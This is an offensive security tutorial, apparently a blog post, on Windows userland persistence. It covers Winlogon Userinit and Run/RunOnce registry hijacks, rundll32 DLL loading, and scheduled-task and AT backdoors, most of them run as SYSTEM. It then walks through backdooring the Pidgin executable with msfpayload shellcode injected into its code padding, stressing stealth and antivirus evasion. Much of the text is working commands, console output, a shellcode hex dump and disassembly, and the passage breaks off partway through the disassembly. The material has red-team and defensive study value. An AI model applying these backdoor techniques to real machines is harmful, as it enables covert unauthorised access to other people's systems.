## Windows Userland Persistence Fundamentals

This tutorial will cover several techniques that can be used to gain persistent access to Windows machines. Usually this doesn't enter into play during a pentest (with the exception of red team engagements) as there is no benefit to adding it to the scope of the project. That is not to say it is not an interesting subject, both from a defensive and offensive perspective.
As the title indicates, we will only be covering userland. It should be noted that advanced persistence mechanisms go far beyond that, kernel rootkits (such as custom NDIS protocol drivers) or even going out-of-band (System Management Mode, Rogue Hypervisors).

## On The Run With The Windows Registry

Tampering with the Windows registry is probably the most common and transparent way to set up persistent access to a windows machine. Using the registry we can execute batch files, executables and even exported functions in DLL's. Before we get started I just want to explain the difference between "HKEY_LOCAL_MACHINE" (HKLM) and "HKEY_CURRENT_USER" (HKCU). HKLM keys are run (if required) every time the system is booted while HKCU keys are only executed when a specific user logs on to the system.
Links:
Microsoft DOS reg command - here
Userinit - here
Run and RunOnce Registry Keys - here
RUNDLL and RUNDLL32 - here

    # The usual suspects.

    [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
    [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
    [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
    [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
    [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]

    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
    [HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]

Subverting Winlogon:
As per the Micorsoft TechNet description; the Userinit registry key defines which programs are run by Winlogon when a user logs in to the system. Typically Winlogon runs Userinit.exe, which in turn runs logon scripts, reestablishes network connections, and then starts explorer.
Below we can see the "default" content for the Winlogon registry key.

    # Windows 7 machine.

    C:\Windows\system32> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
        ReportBootOk    REG_SZ    1
        Shell    REG_SZ    explorer.exe
        PreCreateKnownFolders    REG_SZ    {A520A1A4-1780-4FF6-BD18-167343C5AF16}
        Userinit    REG_SZ    C:\Windows\system32\userinit.exe
        VMApplet    REG_SZ    SystemPropertiesPerformance.exe /pagefile
        AutoRestartShell    REG_DWORD    0x1
        Background    REG_SZ    0 0 0
        CachedLogonsCount    REG_SZ    10
        DebugServerCommand    REG_SZ    no
        ForceUnlockLogon    REG_DWORD    0x0
        LegalNoticeCaption    REG_SZ
        LegalNoticeText    REG_SZ
        PasswordExpiryWarning    REG_DWORD    0x5
        PowerdownAfterShutdown    REG_SZ    0
        ShutdownWithoutLogon    REG_SZ    0
        WinStationsDisabled    REG_SZ    0
        DisableCAD    REG_DWORD    0x1
        scremoveoption    REG_SZ    0
        ShutdownFlags    REG_DWORD    0x5
        AutoAdminLogon    REG_SZ    0
        DefaultUserName    REG_SZ    Fubar

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked

There is (almost) no legitimate reason to modify the "Userinit" registry key so if you ever encounter a non-default value here you should hear alarm bells going off. As it turns out we can simply modify the key and prepend the userinit.exe executable with our own malicious binary/script.

    C:\Windows\system32> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit
    /t REG_SZ /d "C:\Some\Evil\Binary.exe","C:\Windows\system32\userinit.exe"

    Value Userinit exists, overwrite(Yes/No)? Yes
    The operation completed successfully.

    C:\Windows\system32> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
        ReportBootOk    REG_SZ    1
        Shell    REG_SZ    explorer.exe
        PreCreateKnownFolders    REG_SZ    {A520A1A4-1780-4FF6-BD18-167343C5AF16}
        Userinit    REG_SZ    C:\Some\Evil\Binary.exe,C:\Windows\system32\userinit.exe
        VMApplet    REG_SZ    SystemPropertiesPerformance.exe /pagefile
        AutoRestartShell    REG_DWORD    0x1
        Background    REG_SZ    0 0 0
        CachedLogonsCount    REG_SZ    10
        DebugServerCommand    REG_SZ    no
        ForceUnlockLogon    REG_DWORD    0x0
        LegalNoticeCaption    REG_SZ
        LegalNoticeText    REG_SZ
        PasswordExpiryWarning    REG_DWORD    0x5
        PowerdownAfterShutdown    REG_SZ    0
        ShutdownWithoutLogon    REG_SZ    0
        WinStationsDisabled    REG_SZ    0
        DisableCAD    REG_DWORD    0x1
        scremoveoption    REG_SZ    0
        ShutdownFlags    REG_DWORD    0x5
        AutoAdminLogon    REG_SZ    0
        DefaultUserName    REG_SZ    Fubar

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked

With the modification shown above any user login will trigger the execution of our evil "Binary.exe". This is definitely pretty obtrusive. For stealth purposes it would be much better to backdoor the userinit executable or rename it and load a different binary (with the same name) that has an epilog which calls the original executable.
Run and RunOnce:
Our other option is to abuse the HKLM/HKCU Run/RunOnce registry keys. Run and RunOnce serve different purposes, as the name indicates, RunOnce is only executed once after the affected user logs in while Run is persistent across logins. There are some interesting oddities to take note of with these registry keys. (1) The RunOnce key is deleted on login, even if it fails to execute, to prevent this you should prefix the value with an exclamation mark (!). Doing so will attempt to execute the key again on the next login. (2) Both the Run and RunOnce keys are not executed when booting into safe mode, to force their execution you can prefix the key value with an asterisk (*).
We can easily query the various Run keys.

    C:\Windows\system32> reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"

    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
        VMware User Process    REG_SZ    "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr

    C:\Windows\system32> reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
    C:\Windows\system32> reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"
    C:\Windows\system32> reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce"

These registry keys have a pretty straight forward structure. For example, from the output above, we can see that any user logon will trigger the VMWare Tools service to start up. Similarly it is very easy to add our own malicious registry key.

    C:\Windows\system32> reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v EvilKey
    /t REG_SZ /d "C:\Some\Evil\Binary.exe"

    The operation completed successfully.

    C:\Windows\system32> reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"

    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
        VMware User Process    REG_SZ    "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
        EvilKey    REG_SZ    C:\Some\Evil\Binary.exe

RUNDLL and RUNDLL32:
I wanted to mention rundll separately. Rundll has been around for a very long time, it is used to directly access shared code that is stored in DLL files. As a normal user there should be no reason to interact with DLL's in this way, perhaps with the exception of batch scripting.
Rundll is useful to us because it adds an extra layer of abstraction to the persistence. Hijacking a function inside a legitimate dll and redirecting execution flow to our shellcode will be much more difficult to detect than launching a malicious executable or batch file.
For demonstration purposes we can generate a messagebox dll using msfpayload.

    root@Josjikawa:~# msfpayload windows/messagebox text='Rundll32 Backdoor' D > /root/Desktop/evil.dll

    Created by msfpayload (http://www.metasploit.com).
    Payload: windows/messagebox
     Length: 270
    Options: {"TEXT"=>"Rundll32 Backdoor"}

We can execute our payload by passing the function name (@DllMain12) as a parameter to rundll.

    C:\Windows\system32> reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v
    EvilRundll /t REG_SZ /d "C:\Windows\system32\rundll32.exe C:\Users\Fubar\Desktop\evil.dll, @DllMain12"

    The operation completed successfully.

    C:\Windows\system32> reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"

    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
        VMware User Process    REG_SZ    "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
        EvilRundll    REG_SZ    C:\Windows\system32\rundll32.exe C:\Users\Fubar\Desktop\evil.dll, @DllMain12

Got shell?
Below you can see a screenshot of these three registry persistence techniques in action.

On Boot

All three backdoors are run moments after explorer finishes starting up. In this case the Winlogon and Run keys are executing batch scripts located on the desktop.

    @echo off
    for /f %%i in ('time /T') do set _time=%%i
    echo Backdoor started at %_time%
    systeminfo | find /i "Boot Time"
    echo.
    pause

## Scheduled Backdoors

Next we will have a look the available task scheduling options in Windows. Scheduling is useful, we can run tasks with different permission sets and trigger the task using events or at specific time intervals. Let's see if we can't book an appointment for our backdoor!
Links:
Schtasks [Microsoft Technet] - here
Wevtutil [Microsoft Technet] - here
Eventcreate [Microsoft Technet] - here
Event-O-Pedia (FTW) - here
Security events in Windows 7 and Server 2k8 [Microsoft Support] - here
AT [Microsoft Technet] - here
Schtasks:
If you have never used schtasks you will be amazed by the extensive features and flexibility that it has. For your convenience you can see the task creation options below (use "schtasks /?" for full options).

    C:\Windows\system32> schtasks /Create /?

    SCHTASKS /Create [/S system [/U username [/P [password]]]]
        [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
        [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
        [/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
        [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F]

    Description:
        Enables an administrator to create scheduled tasks on a local or
        remote system.

    Parameter List:
        /S   system        Specifies the remote system to connect to. If omitted
                           the system parameter defaults to the local system.

        /U   username      Specifies the user context under which SchTasks.exe
                           should execute.

        /P   [password]    Specifies the password for the given user context.
                           Prompts for input if omitted.

        /RU  username      Specifies the "run as" user account (user context)
                           under which the task runs. For the system account,
                           valid values are "", "NT AUTHORITY\SYSTEM"
                           or "SYSTEM".
                           For v2 tasks, "NT AUTHORITY\LOCALSERVICE" and
                           "NT AUTHORITY\NETWORKSERVICE" are also available as well
                           as the well known SIDs for all three.

        /RP  [password]    Specifies the password for the "run as" user.
                           To prompt for the password, the value must be either
                           "*" or none. This password is ignored for the
                           system account. Must be combined with either /RU or
                           /XML switch.

        /SC   schedule     Specifies the schedule frequency.
                           Valid schedule types: MINUTE, HOURLY, DAILY, WEEKLY,
                           MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.

        /MO   modifier     Refines the schedule type to allow finer control over
                           schedule recurrence. Valid values are listed in the
                           "Modifiers" section below.

        /D    days         Specifies the day of the week to run the task. Valid
                           values: MON, TUE, WED, THU, FRI, SAT, SUN and for
                           MONTHLY schedules 1 - 31 (days of the month).
                           Wildcard "*" specifies all days.

        /M    months       Specifies month(s) of the year. Defaults to the first
                           day of the month. Valid values: JAN, FEB, MAR, APR,
                           MAY, JUN, JUL, AUG, SEP, OCT, NOV, DEC. Wildcard "*"
                           specifies all months.

        /I    idletime     Specifies the amount of idle time to wait before
                           running a scheduled ONIDLE task.
                           Valid range: 1 - 999 minutes.

        /TN   taskname     Specifies a name which uniquely
                           identifies this scheduled task.

        /TR   taskrun      Specifies the path and file name of the program to be
                           run at the scheduled time.
                           Example: C:\windows\system32\calc.exe

        /ST   starttime    Specifies the start time to run the task. The time
                           format is HH:mm (24 hour time) for example, 14:30 for
                           2:30 PM. Defaults to current time if /ST is not
                           specified.  This option is required with /SC ONCE.

        /RI   interval     Specifies the repetition interval in minutes. This is
                           not applicable for schedule types: MINUTE, HOURLY,
                           ONSTART, ONLOGON, ONIDLE, ONEVENT.
                           Valid range: 1 - 599940 minutes.
                           If either /ET or /DU is specified, then it defaults to
                           10 minutes.

        /ET   endtime      Specifies the end time to run the task. The time format
                           is HH:mm (24 hour time) for example, 14:50 for 2:50 PM.
                           This is not applicable for schedule types: ONSTART,
                           ONLOGON, ONIDLE, ONEVENT.

        /DU   duration     Specifies the duration to run the task. The time
                           format is HH:mm. This is not applicable with /ET and
                           for schedule types: ONSTART, ONLOGON, ONIDLE, ONEVENT.
                           For /V1 tasks, if /RI is specified, duration defaults
                           to 1 hour.

        /K                 Terminates the task at the endtime or duration time.
                           This is not applicable for schedule types: ONSTART,
                           ONLOGON, ONIDLE, ONEVENT. Either /ET or /DU must be
                           specified.

        /SD   startdate    Specifies the first date on which the task runs. The
                           format is mm/dd/yyyy. Defaults to the current
                           date. This is not applicable for schedule types: ONCE,
                           ONSTART, ONLOGON, ONIDLE, ONEVENT.

        /ED   enddate      Specifies the last date when the task should run. The
                           format is mm/dd/yyyy. This is not applicable for
                           schedule types: ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.

        /EC   ChannelName  Specifies the event channel for OnEvent triggers.

        /IT                Enables the task to run interactively only if the /RU
                           user is currently logged on at the time the job runs.
                           This task runs only if the user is logged in.

        /NP                No password is stored.  The task runs non-interactively
                           as the given user.  Only local resources are available.

        /Z                 Marks the task for deletion after its final run.

        /XML  xmlfile      Creates a task from the task XML specified in a file.
                           Can be combined with /RU and /RP switches, or with /RP
                           alone, when task XML already contains the principal.

        /V1                Creates a task visible to pre-Vista platforms.
                           Not compatible with /XML.

        /F                 Forcefully creates the task and suppresses warnings if
                           the specified task already exists.

        /RL   level        Sets the Run Level for the job. Valid values are
                           LIMITED and HIGHEST. The default is LIMITED.

        /DELAY delaytime   Specifies the wait time to delay the running of the
                           task after the trigger is fired.  The time format is
                           mmmm:ss.  This option is only valid for schedule types
                           ONSTART, ONLOGON, ONEVENT.

        /?                 Displays this help message.

    Modifiers: Valid values for the /MO switch per schedule type:
        MINUTE:  1 - 1439 minutes.
        HOURLY:  1 - 23 hours.
        DAILY:   1 - 365 days.
        WEEKLY:  weeks 1 - 52.
        ONCE:    No modifiers.
        ONSTART: No modifiers.
        ONLOGON: No modifiers.
        ONIDLE:  No modifiers.
        MONTHLY: 1 - 12, or FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY.
        ONEVENT: XPath event query string.

Once you wrap your head round the syntax; creating, deleting and querying tasks is pretty straight forward. Take a look at the following example. This task will run Windows calculator every minute, forever, as the current user (Fubar). Very entertaining and annoying!

    C:\Windows\system32> schtasks /create /sc minute /mo 1 /tn "AnnoyingCalc" /tr C:\Windows\system32\calc.exe

    SUCCESS: The scheduled task "AnnoyingCalc" has successfully been created.

    C:\Windows\system32> schtasks /query /tn AnnoyingCalc /fo List /v

    Folder: \
    HostName:                             WIN7-TESTBED
    TaskName:                             \AnnoyingCalc
    Next Run Time:                        10/19/2014 12:36:00 AM
    Status:                               Ready
    Logon Mode:                           Interactive only
    Last Run Time:                        10/19/2014 12:35:00 AM
    Last Result:                          1
    Author:                               Fubar
    Task To Run:                          C:\Windows\system32\calc.exe
    Start In:                             N/A
    Comment:                              N/A
    Scheduled Task State:                 Enabled
    Idle Time:                            Disabled
    Power Management:                     Stop On Battery Mode, No Start On Batteries
    Run As User:                          Win7-Testbed\Fubar
    Delete Task If Not Rescheduled:       Enabled
    Stop Task If Runs X Hours and X Mins: 72:00:00
    Schedule:                             Scheduling data is not available in this format.
    Schedule Type:                        One Time Only, Minute
    Start Time:                           12:35:00 AM
    Start Date:                           10/19/2014
    End Date:                             N/A
    Days:                                 N/A
    Months:                               N/A
    Repeat: Every:                        0 Hour(s), 1 Minute(s)
    Repeat: Until: Time:                  None
    Repeat: Until: Duration:              Disabled
    Repeat: Stop If Still Running:        Disabled

Popping Lots Of Calc

To delete a task you only need to specify the taskname.

    C:\Windows\system32> schtasks /Delete /tn AnnoyingCalc

    WARNING: Are you sure you want to remove the task "AnnoyingCalc" (Y/N)? Y
    SUCCESS: The scheduled task "AnnoyingCalc" was successfully deleted.

Clearly there is potential to abuse schtasks as an attacker. You can see several examples below to get an idea of the possibilities.

    # Runs a task daily at 8am.
    schtasks /create /tn "EvilTask" /tr C:\Some\Evil\Task.exe /sc daily /st 08:00

    # Runs a task each time the user's session is idle for 5 minutes.
    schtasks /create /tn "EvilTask" /tr C:\Some\Evil\Task.exe /sc onidle /i 5

    # Runs a task, as SYSTEM, each time a user logs in.
    schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "EvilTask" /tr C:\Some\Evil\Task.exe /sc onlogon

    # Runs a task on a remote machine, as SYSTEM, daily at 8am.
    schtasks /create /s RemoteMachine /u domain\user /p password /ru "NT AUTHORITY\SYSTEM" /rp "" /tn
    "EvilTask" /tr C:\Some\Evil\Task.exe /sc daily /st 08:00

If you need a more fine grained approach you can trigger tasks on highly specific Windows events. Doing so is a bit more labour intensive but it gives you unparalleled control over you task execution. The only caveat is that the target needs to have event logging enable for the event you want to target. You can piggyback the existing event loggers, but there does not seem to be a straight forward way to add custom events from the command line (it may be possible to import a custom event manifest but I have not tested this). If you have GUI access, custom events can be configured using gpedit.msc. A more detailed explanation can be found here.
To demonstrate this we will schedule a task to run every time a user logs off the system (during a lunch-break for example). We can use wevtutil to query the various system event logs and publishers.

    C:\Windows\system32> wevtutil /?

    Windows Events Command Line Utility.

    Enables you to retrieve information about event logs and publishers, install
    and uninstall event manifests, run queries, and export, archive, and clear logs.

    Usage:

    You can use either the short (for example, ep /uni) or long (for example,
    enum-publishers /unicode) version of the command and option names. Commands,
    options and option values are not case-sensitive.

    Variables are noted in all upper-case.

    wevtutil COMMAND [ARGUMENT [ARGUMENT] ...] [/OPTION:VALUE [/OPTION:VALUE] ...]

    Commands:

    el | enum-logs          List log names.
    gl | get-log            Get log configuration information.
    sl | set-log            Modify configuration of a log.
    ep | enum-publishers    List event publishers.
    gp | get-publisher      Get publisher configuration information.
    im | install-manifest   Install event publishers and logs from manifest.
    um | uninstall-manifest Uninstall event publishers and logs from manifest.
    qe | query-events       Query events from a log or log file.
    gli | get-log-info      Get log status information.
    epl | export-log        Export a log.
    al | archive-log        Archive an exported log.
    cl | clear-log          Clear a log.

We can check the last recorded "User initiated Logoff" event by referencing the event channel (Security) and the event ID (4647). Please refer to the event-o-pedia for channel and event details.

    C:\Windows\system32> wevtutil qe Security /f:text /c:1 /q:"Event[System[(EventID=4647)]]

    Event[0]:
      Log Name: Security
      Source: Microsoft-Windows-Security-Auditing
      Date: 2014-09-13T21:05:54.339
      Event ID: 4647
      Task: Logoff
      Level: Information
      Opcode: Info
      Keyword: Audit Success
      User: N/A
      User Name: N/A
      Computer: Win7-Testbed
      Description:
    User initiated logoff:

    Subject:
            Security ID:            S-1-5-21-2436999474-2994553960-2820488997-1001
            Account Name:           Fubar
            Account Domain:         Win7-Testbed
            Logon ID:               0x14afc

With this information in hand we can create a scheduled task. We will need to provide schtasks with the appropriate event channel and the XPath query string for the target event.

    C:\Windows\system32> schtasks /Create /TN OnLogOff /TR C:\Windows\system32\calc.exe /SC ONEVENT /EC
    Security /MO "*[System[(Level=4 or Level=0) and (EventID=4634)]]"

    SUCCESS: The scheduled task "OnLogOff" has successfully been created.

    C:\Windows\system32> schtasks /Query /tn OnLogOff /fo List /v

    Folder: \
    HostName:                             WIN7-TESTBED
    TaskName:                             \OnLogOff
    Next Run Time:                        N/A
    Status:                               Ready
    Logon Mode:                           Interactive only
    Last Run Time:                        N/A
    Last Result:                          1
    Author:                               Fubar
    Task To Run:                          C:\Windows\system32\calc.exe
    Start In:                             N/A
    Comment:                              N/A
    Scheduled Task State:                 Enabled
    Idle Time:                            Disabled
    Power Management:                     Stop On Battery Mode, No Start On Batteries
    Run As User:                          Win7-Testbed\Fubar
    Delete Task If Not Rescheduled:       Enabled
    Stop Task If Runs X Hours and X Mins: 72:00:00
    Schedule:                             Scheduling data is not available in this format.
    Schedule Type:                        When an event occurs
    Start Time:                           N/A
    Start Date:                           N/A
    End Date:                             N/A
    Days:                                 N/A
    Months:                               N/A
    Repeat: Every:                        N/A
    Repeat: Until: Time:                  N/A
    Repeat: Until: Duration:              N/A
    Repeat: Stop If Still Running:        N/A

After logging off and logging back on we are greeted with windows calculator.

Log-Off Calc!

Event Viewer

AT:
The Windows AT command is sort of a second rate citizen compared to schtasks. It can also schedule tasks to run at specific times but does not have nearly as many configuration options.

    C:\Windows\system32> at /?

    The AT command schedules commands and programs to run on a computer at
    a specified time and date. The Schedule service must be running to use
    the AT command.

    AT [\\computername] [ [id] [/DELETE] | /DELETE [/YES]]
    AT [\\computername] time [/INTERACTIVE]
        [ /EVERY:date[,...] | /NEXT:date[,...]] "command"

    \\computername     Specifies a remote computer. Commands are scheduled on the
                       local computer if this parameter is omitted.
    id                 Is an identification number assigned to a scheduled
                       command.
    /delete            Cancels a scheduled command. If id is omitted, all the
                       scheduled commands on the computer are canceled.
    /yes               Used with cancel all jobs command when no further
                       confirmation is desired.
    time               Specifies the time when command is to run.
    /interactive       Allows the job to interact with the desktop of the user
                       who is logged on at the time the job runs.
    /every:date[,...]  Runs the command on each specified day(s) of the week or
                       month. If date is omitted, the current day of the month
                       is assumed.
    /next:date[,...]   Runs the specified command on the next occurrence of the
                       day (for example, next Thursday).  If date is omitted, the
                       current day of the month is assumed.
    "command"          Is the Windows NT command, or batch program to be run.

One thing to keep in mind is that the AT command always runs with SYSTEM level privileges. Several usage examples can be seen below.

    # Runs a batch file daily at 8am.
    at 08:00 /EVERY:m,t,w,th,f,s,su C:\Some\Evil\batch.bat

    # Runs a binary every Tuesday at 8am.
    at 08:00 /EVERY:t C:\Some\Evil\Task.exe

    # Runs a binary, only once, at 10pm.
    at 22:00 /NEXT: C:\Some\Evil\Task.exe

    # Runs a task on a remote machine, every 1st and 20th of the month, at 8am.
    at \\RemoteMachine 08:00 /EVERY:1,20 C:\Some\Evil\Task.exe

Scheduled tasks can be listed by simple calling the AT command from the command line. Tasks can be deleted using the task ID.

    C:\Windows\system32> at 08:00 /EVERY:t C:\Some\Evil\Task.exe

    Added a new job with job ID = 1

    C:\Windows\system32> at

    Status ID   Day                     Time          Command Line
    -------------------------------------------------------------------------------
            1   Each T                  8:00 AM       C:\Some\Evil\Task.exe

    # AT does not provide confirmation for task deletion.
    C:\Windows\system32> at 1 /delete

## Process Resource Hooking

The title for this section is used ad hoc. What we will really be looking at here are: (1) legitimate processes which are already run at boot/startup or (2) legitimate processes we can configure to run at boot/startup. After finding a suitable target we need to look at all the resources that program uses. If we can inject shellcode in one of those resources we will have achieved persistence.
Already it should be clear that this technique is much more covert. Evidence of the persistence is not readily available, it is obscured by the legitimate process or service. In addition, AV detection will be non-existent as the shellcode is mixed in with legitimate code. One final thing to keep in mind is that modifying a signed resource will invalidate the signature.
Case Study - Pidgin Instant Messenger:
For our first example we will look at manually backdooring a PE executable. Let's say, after compromising a target, we discover that Pidgin (which is a popular chat program) is run at startup. In this case we can tell that Pidgin will automatically start on boot because it is in the windows startup folder.

    # The starup folder for the current user is empty.
    C:\> dir "C:\Users\Fubar\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

     Volume in drive C has no label.
     Volume Serial Number is CA24-B8EA

     Directory of C:\Users\Fubar\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

    09/13/2014  08:05 PM    <DIR>          .
    09/13/2014  08:05 PM    <DIR>          ..
                   0 File(s)              0 bytes
                   2 Dir(s)  55,254,183,936 bytes free

    # The starup folder for all users contains a shortcut to Pidgin.
    C:\> dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

     Volume in drive C has no label.
     Volume Serial Number is CA24-B8EA

     Directory of C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

    11/23/2014  01:09 AM    <DIR>          .
    11/23/2014  01:09 AM    <DIR>          ..
    11/23/2014  01:09 AM             1,328 pidgin.exe.lnk
                   1 File(s)          1,328 bytes
                   2 Dir(s)  55,254,183,936 bytes free

Next we need to find out where the Pidgin binary is.

    C:\> dir /s pidgin.exe

     Volume in drive C has no label.
     Volume Serial Number is CA24-B8EA

     Directory of C:\Program Files\Pidgin

    11/22/2014  11:00 PM            60,176 pidgin.exe
                   1 File(s)         60,176 bytes

         Total Files Listed:
                   1 File(s)         60,176 bytes
                   0 Dir(s)  55,249,006,592 bytes free

    C:\> dir "C:\Program Files\Pidgin\"

     Volume in drive C has no label.
     Volume Serial Number is CA24-B8EA

     Directory of C:\Program Files\Pidgin

    11/23/2014  02:28 AM    <DIR>          .
    11/23/2014  02:28 AM    <DIR>          ..
    11/22/2014  08:17 PM    <DIR>          ca-certs
    10/19/2014  09:40 PM           671,031 exchndl.dll
    10/19/2014  09:40 PM           301,056 freebl3.dll
    11/22/2014  08:17 PM    <DIR>          Gtk
    10/19/2014  09:40 PM           417,758 libjabber.dll
    10/19/2014  09:40 PM           152,852 libmeanwhile-1.dll
    10/19/2014  09:40 PM           202,752 libnspr4.dll
    10/19/2014  09:40 PM           311,021 liboscar.dll
    10/19/2014  09:40 PM            15,872 libplc4.dll
    10/19/2014  09:40 PM            14,336 libplds4.dll
    10/19/2014  09:40 PM           845,433 libpurple.dll
    10/19/2014  09:39 PM           190,464 libsasl.dll
    10/19/2014  09:40 PM         2,097,721 libsilc-1-1-2.dll
    10/19/2014  09:40 PM           818,985 libsilcclient-1-1-3.dll
    10/19/2014  09:40 PM            36,878 libssp-0.dll
    10/19/2014  09:39 PM         1,274,655 libxml2-2.dll
    10/19/2014  09:40 PM           236,666 libymsg.dll
    10/19/2014  09:40 PM           784,384 nss3.dll
    10/19/2014  09:40 PM           113,152 nssutil3.dll
    11/22/2014  08:17 PM    <DIR>          pidgin-2.10.10-dbgsym
    11/22/2014  08:17 PM           104,965 pidgin-uninst.exe
    10/19/2014  09:40 PM         1,157,795 pidgin.dll
    11/22/2014  11:00 PM            60,176 pidgin.exe                 # Bingo!
    11/22/2014  08:17 PM    <DIR>          pixmaps
    11/22/2014  08:17 PM    <DIR>          plugins
    11/22/2014  08:17 PM    <DIR>          sasl2
    10/19/2014  09:40 PM           101,376 smime3.dll
    10/19/2014  09:40 PM           174,080 softokn3.dll
    11/22/2014  08:17 PM    <DIR>          sounds
    11/22/2014  08:17 PM    <DIR>          spellcheck
    10/19/2014  09:40 PM           486,400 sqlite3.dll
    10/19/2014  09:40 PM           230,912 ssl3.dll
                  24 File(s)     10,800,720 bytes
                  10 Dir(s)  55,248,990,208 bytes free

We could replace this binary with a backdoor, that way each time the system boots our malicious code would be run. However, doing so would be painfully obvious, Pidgin would not start and a closer investigation would immediately reveal our deception.
Instead, we will (1) download the executable to our attacking machine, (2) inject our malicious code into the binary, (3) make sure it still works as intended and (4) replace it on the target machine. The resulting executable will be fully undetectable by AV and will not raise any undue suspicions as pidgin will still function normally. The necessary modification can be made using Immunity debugger (or Olly).
First we will need to take note of pidgin's module entry point. The instructions there are the first thing the program will execute when it is launched.

Next we need to find some empty space, large enough to store our shellcode. If you have ever taken a close look at PE executables you will know that there is a huge null-bytes padding at the end of each section (.text, .data, .rdata,..). In this case we can simply scroll down to the end of the ".text" section, the padding there will be a perfect location for our shellcode.

The basic principle is pretty straight forward: (1) we need to modify the entry point to jump to the null-byte padding, (2) at the jump destination we inject our shellcode, (3) we fix any instructions we nuked at the entry point and hand the program control back over to the legitimate code.
First lets modify the entry point to jump to our null-byte padding. If you compare the new entry point with the old one you will notice that several instructions have been messed up. We will see how to correct those later.

Next we need to generate some shellcode which we can copy into the executable as our payload. As an aside, encoding the shellcode is not necessary, in fact doing so may cause issues when the decoder stub tries to unpack it.

    # grep & tr to strip out all unnecessary data.
    root@Josjikawa:~# msfpayload windows/exec cmd='calc' exitfunc='none' C |grep '"' |tr -d '"\\x;\n'

    fce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3c617c022c20c1cf0d01c7e2f052578b52108b42
    3c01d08b407885c0744a01d0508b48188b582001d3e33c498b348b01d631ff31c0acc1cf0d01c738e075f4037df83b7d2475e2588b
    582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12eb865d6a018d85b90000005068318b6f87ff
    d5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c6300

This shellcode will require some minor modifications to run correctly. When the shellcode gets executed the epilogue will end up calling "ntdll.KiFastSystemCallRet" which will in turn terminate execution flow. Since we want to preserve the original program flow we will need to stop this from happening. The resulting shellcode in the debugger can be seen below.

    0040391C     60             PUSHAD                           Save registry and flag values!
    0040391D     9C             PUSHFD
    0040391E     FC             CLD
    0040391F     E8 89000000    CALL pidgin.004039AD
    00403924     60             PUSHAD
    00403925     89E5           MOV EBP,ESP
    00403927     31D2           XOR EDX,EDX
    00403929     64:8B52 30     MOV EDX,DWORD PTR FS:[EDX+30]
    0040392D     8B52 0C        MOV EDX,DWORD PTR DS:[EDX+C]
    00403930     8B52 14        MOV EDX,DWORD PTR DS:[EDX+14]
    00403933     8B72 28        MOV ESI,DWORD PTR DS:[EDX+28]
    00403936     0FB74A 26      MOVZX ECX,WORD PTR DS:[EDX+26]
    0040393A     31FF           XOR EDI,EDI
    0040393C     31C0           XOR EAX,EAX
    0040393E     AC             LODS BYTE PTR DS:[ESI]
    0040393F     3C 61          CMP AL,61
    00403941     7C 02          JL SHORT pidgin.00403945
    00403943     2C 20          SUB AL,20
    00403945     C1CF 0D        ROR EDI,0D
    00403948     01C7           ADD EDI,EAX
